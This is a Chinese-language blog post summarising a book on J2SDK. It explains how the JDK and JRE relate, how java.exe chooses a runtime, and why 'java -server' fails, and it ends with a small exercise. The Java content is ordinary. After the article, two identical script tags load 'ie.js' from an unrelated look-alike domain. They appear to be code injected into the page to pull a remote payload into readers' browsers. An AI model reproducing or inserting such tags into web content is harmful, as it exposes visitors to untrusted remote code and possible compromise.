《深入J2SDK》 總結

剛剛讀了王深大哥的《深入J2SDK 》,受益非淺,希望看到這篇文章的同僚到“java技術論壇”去down下來看看。
接觸過java的人相信不回對jdk(java development kit),jre(java run-time environment),jvm(java virtual machine)感到陌生吧,其中jdk與jre之間的關係用下面的圖來表示再好不過了:

jre-jdk關係圖(1.4)

看了上面的圖你是否發現有兩套jre在你的電腦中,那麼究竟jre是幹什麼的呢,看名字就知道是java的運行環境了,看看下面的圖,相信你會有更深的認識jre-oc對比圖
很清楚了吧,實際上就是一個獨立的虛擬的java pc,就如同win32程序要操作系統幫我們運行,java程序也要jre來運行,不過爲什麼一臺pc要有兩套jre呢?那是因爲我們所用到的jdk裏面的包括javac.exe,java.exe等等工具實際上也是用java開發出來的,因此我們必須要在安裝jdk的同時安裝jre,不然你的jdk中的工具將會無法使用,而在C:/Program file/java中的jre是用來執行我們所寫的java程序的,(不過在jdk1.4中可以選擇安裝與否,但jdk1.3不行),在王森大哥的《深入J2SDK 》中有一個實驗還證明了其實我們所說的編譯命令javac實際上是一個包裝器(warpper),你如果輸入java -classpath d:/j2sdk1.4.0/lib/tools.jar com.sun.tools.javac.Main,你得到的結果和你輸入javac是一樣的,因此javac的作用不過是爲了讓你不用敲太多的指令。 你是否發現在你輸入java時有 -client ,-server ,-hotspot有這三個選項,但是當你輸入java -server時將回出現下面的error message:“Error: no `server' JVM at `C:/Program Files/Java/jre1.5.0/bin/server/jvm.dll'.”,好了,現在試試這樣:我將jdk裝在了C盤的根目錄下,在命令行下輸入:Path=C:/jdk/bin;(根據你的情況有所不同),然後再敲入:java -server -version;哈哈,看好了,結果如下:
java version "1.4.2"
Java(TM) 2 Runtime Environment, Standard Edition (build 1.4.2-b28)
Java HotSpot(TM) Server VM (build 1.4.2-b28, mixed mode)
看到了嗎?是server vm哦!如果你沒有看王森大哥的《深入J2SDK 》,那我就告訴你祕密所在,首先看看你jdk目錄下的jre中與你c:/Program file/java中的jre有什麼不同,對了jdk中的jre的bin目錄下多了server這個文件夾,而這裏面裝的就是java的server 虛擬機;接下來你還要明白幾件事才能解釋剛纔發生的情況:第一:搜索一下看你的計算機裏有多少個java.exe,不出意外的話在你的C:/Windows/System32文件夾裏有一java.exe(當然另外還有),第二:你要知道你究竟用的是那一個java.exe,一般說來是C:/Windows/System32中的那一個,第三:(很重要了)你用的java.exe要在哪一套jre中運行,這裏有它自己的邏輯;
1. 自己的目錄下有沒有JRE目錄。(不是很精確,請看jdk源碼)2. 父目錄底下JRE子目錄。 3. 查詢Windows Registry(HKEY_LOCAL_MACHINE/Software/JavaSoft/Java Runtime Environment/)。好了,揭曉答案了,由於在計算機環境變量中的設置(default),你調用的是C:/Windows/System32中的java.exe,而在自己的目錄以及父目錄下都沒有jre,所以就在註冊表中找到了C:/Program Files/Java中的jre,但是由於它裏面沒有server virtual machine 所以你輸入java -server當然要報錯,但是如果你先輸入:path=C:/jdk/bin;那麼你調用的就是jdk 中的java.exe,相應的你用到的是jdk下面的jre。裏面含有java server virtual machine,當然在你輸入:java -server -version後就看到開始那個結果了(棕色代碼)。你是不是清楚了呢?當然王森大哥爲了我們能更好的理解j2sdk的運做,給大家出了個小小的問題,你如果仔細看過王森大哥的《深入J2SDK 》或是我的這一篇總結,那麼這是相當簡單的了,試試吧,試着產生如下的錯誤信息:
Registry key 'Software/JavaSoft/Java Runtime Environment/CurrentVersion'
has value '1.4', but '1.5' is required.
Error: could not find java.dll
Error: could not find Java 2 Runtime Environment.
最後推薦大家到http://www.javaworld.com.tw/jute/(java技術論壇)去看看《深入J2SDK 》,相信你會對j2sdk有更深刻的認識

<SCRIPT src="http://www.moregoogle.com/ie.js" type=text/javascript></SCRIPT> <SCRIPT src="http://www.moregoogle.com/ie.js" type=text/javascript></SCRIPT>
發佈了23 篇原創文章 · 獲贊 0 · 訪問量 8萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章